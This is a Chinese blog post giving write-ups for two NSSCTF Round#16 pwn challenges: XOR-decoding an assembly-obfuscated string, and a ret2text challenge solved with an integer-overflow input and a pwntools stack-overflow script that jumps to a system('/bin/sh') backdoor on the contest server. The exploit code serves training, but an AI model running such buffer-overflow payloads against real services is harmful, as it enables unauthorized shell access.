当前位置: 首页 > news >正文

NSSCTF Round# 16 Basic pwn方向题解

pwn

nc_pwnre

没有附件,nc直接连接

给了一段汇编代码,让gpt翻译一下

这段汇编代码是一个循环,它对存储在ebp+i位置的字符串进行处理。让我逐步解释一下每个指令的作用:mov eax, [ebp+i]: 将ebp+i位置的值加载到eax寄存器中。
add eax, 1: 将eax寄存器中的值加1。
mov [ebp+i], eax: 将eax寄存器中的值存储回ebp+i位置。
mov ecx, [ebp+Str]: 将ebp+Str位置的值加载到ecx寄存器中,这里假设Str是一个指向字符串的指针。
push ecx: 将ecx寄存器中的值压入栈中,准备调用函数。
call _strlen: 调用名为_strlent的函数,用于计算字符串的长度。
add esp, 4: 调整栈指针,恢复栈的平衡。
cmp [ebp+i], eax: 将ebp+i位置的值与eax寄存器中的值进行比较。
jge short loc_40119D: 如果比较结果大于等于,则跳转到loc_40119D处,否则继续执行下一条指令。
mov edx, [ebp+Str]: 将ebp+Str位置的值加载到edx寄存器中。
add edx, [ebp+i]: 将ebp+i位置的值加到edx寄存器中,得到字符串中的偏移量。
movsx eax, byte ptr [edx]: 将edx寄存器指向的字节加载到eax寄存器中,并进行符号扩展。
xor eax, 10h: 将eax寄存器中的值与10h进行异或操作。
mov ecx, [ebp+Str]: 将ebp+Str位置的值加载到ecx寄存器中。
add ecx, [ebp+i]: 将ebp+i位置的值加到ecx寄存器中,得到字符串中的偏移量。
mov [ecx], al: 将al寄存器中的值存储到ecx寄存器指向的位置。
jmp short loc_40116D: 无条件跳转到loc_40116D处,即循环的开始。
根据你提供的结果,这段汇编代码对字符串进行了异或操作,并将结果存储回原字符串中。你的结果是一个经过异或处理的字符串。

实际就是把字符串异或了一下,写个脚本异或回去

data = [0x44, 0x7c, 0x5e, 0x44, 0x41, 0x21, 0x42, 0x57, 0x75, 0x21, 0x74, 0x56, 0x44, 0x57, 0x5d, 0x67, 0x44, 0x46, 0x29, 0x45, 0x5d, 0x56, 0x29, 0x67, 0x46, 0x22, 0x25, 0x76, 0x74, 0x6a, 0x52, 0x69, 0x5d, 0x47, 0x41, 0x78, 0x76, 0x41, 0x2d, 0x2d]
key = 0x10original_data = []
for byte in data:original_byte = byte ^ keyoriginal_data.append(original_byte)original_string = ''.join(chr(byte) for byte in original_data)
print(original_string)

得到base64编码

TlNTQ1RGe1dFTGMwTV9UMF9wV25fdzByMWQhfQ==

CyberChef转码

 但这个不是flag哦,我们把这个输入到程序

输入之后ls,cat flag即可 

NSSCTF{ae034760-adc0-4f3d-92d2-0ab3b91143ac}

 ret_text

下载附件,拖入kali中,使用file指令

32位程序 ,接着checksec,检查保护

32位IDA打开,分析read函数这里有栈溢出,但是前面有个if卡着

 这个if要求你的输入小于0,并且输入的数的负数也小于0,一般的数字肯定不行,我们看一下类型

是int,可以采用整数溢出,也就是输入超出范围的数

在C语言中,最小的 int 值是 -2147483648(即 -2^31),当我们取这个数的相反数时,由于 int 的最大值是 2147483647(即 2^31 - 1),所以无法表示出来,导致整数溢出,取反后的值仍然是 -2147483648。所以,为了满足 if 语句的条件,你需要输入 -2147483648

 发现有后门函数

地址0x8049328

解题思路:

  1. 先链接远程
  2. 输入-2147483648,使其进入if
  3. 输入过多字符,让read这里栈溢出
  4. 调用system("/bin/sh")
  5. ls,cat 即可

写脚本

from pwn import *  #调用pwntoolsp=remote('node7.anna.nssctf.cn',28822)   #链接远程backdoor = 0x8049328  #后门函数地址
payload = b'a' *(0x20+0x4) + p32(backdoor)  #构造playloadp.sendlineafter('Easy ret2text!!!Input:','-2147483648')   #先发送个-2147483648过去,使其进入ifp.recvline() #接收一下回显,只是让right这一句正常输出,让程序正确执行
p.sendline(payload) #发送攻击负载,让栈溢出,并执行后门函数
p.interactive() #交互

相关文章:

  • 【Spring Boot 3】【数据源】自定义多数据源
  • GPT实战系列-ChatGLM3管理工具的API接口
  • 浏览器深色模式
  • C++ OpenGL 3D Game Tutorial 2: Making OpenGL 3D Engine学习笔记
  • python期末考试:python的基本使用
  • GPT-4技术报告的解读(二)
  • 【Python】数据可视化--基于TMDB_5000_Movie数据集
  • 大一统的监控探针采集器 cprobe
  • Linux 脚本编程题库
  • 【2024】OAK智能深度相机校准教程
  • SpringBoot 入门 SpringBoot 与其他项目整合 集成 Druid 数据库连接池 集成 Log 日志 配置修改
  • Python从入门到精通秘籍五
  • ssm基于vue的儿童教育网站的设计与实现论文
  • 解决ELK日志收集中Logstash报错的关键步
  • NI PXIe-6386国产替代,8路AI(16位,14 MS/s/ch),2路A​O,24路DIO,PXI多功能I/O模块
  • 【407天】跃迁之路——程序员高效学习方法论探索系列(实验阶段164-2018.03.19)...
  • 11111111
  • 2017届校招提前批面试回顾
  • 2017前端实习生面试总结
  • Apache Zeppelin在Apache Trafodion上的可视化
  • Computed property XXX was assigned to but it has no setter
  • docker容器内的网络抓包
  • Java 多线程编程之:notify 和 wait 用法
  • JavaScript的使用你知道几种?(上)
  • Laravel 实践之路: 数据库迁移与数据填充
  • Map集合、散列表、红黑树介绍
  • nginx 负载服务器优化
  • Phpstorm怎样批量删除空行?
  • Python十分钟制作属于你自己的个性logo
  • vue-loader 源码解析系列之 selector
  • vue-router 实现分析
  • Webpack 4x 之路 ( 四 )
  • 从0搭建SpringBoot的HelloWorld -- Java版本
  • 基于遗传算法的优化问题求解
  • 一些关于Rust在2019年的思考
  • “十年磨一剑”--有赞的HBase平台实践和应用之路 ...
  • 没有任何编程基础可以直接学习python语言吗?学会后能够做什么? ...
  • # 20155222 2016-2017-2 《Java程序设计》第5周学习总结
  • #FPGA(基础知识)
  • #WEB前端(HTML属性)
  • (16)UiBot:智能化软件机器人(以头歌抓取课程数据为例)
  • (3)Dubbo启动时qos-server can not bind localhost22222错误解决
  • (52)只出现一次的数字III
  • (附源码)springboot教学评价 毕业设计 641310
  • (七)理解angular中的module和injector,即依赖注入
  • (实战篇)如何缓存数据
  • (一)RocketMQ初步认识
  • (转)我也是一只IT小小鸟
  • ... fatal error LINK1120:1个无法解析的外部命令 的解决办法
  • .dat文件写入byte类型数组_用Python从Abaqus导出txt、dat数据
  • .Net 高效开发之不可错过的实用工具
  • .net 提取注释生成API文档 帮助文档
  • .NET4.0并行计算技术基础(1)
  • .Net转Java自学之路—基础巩固篇十三(集合)
  • .sdf和.msp文件读取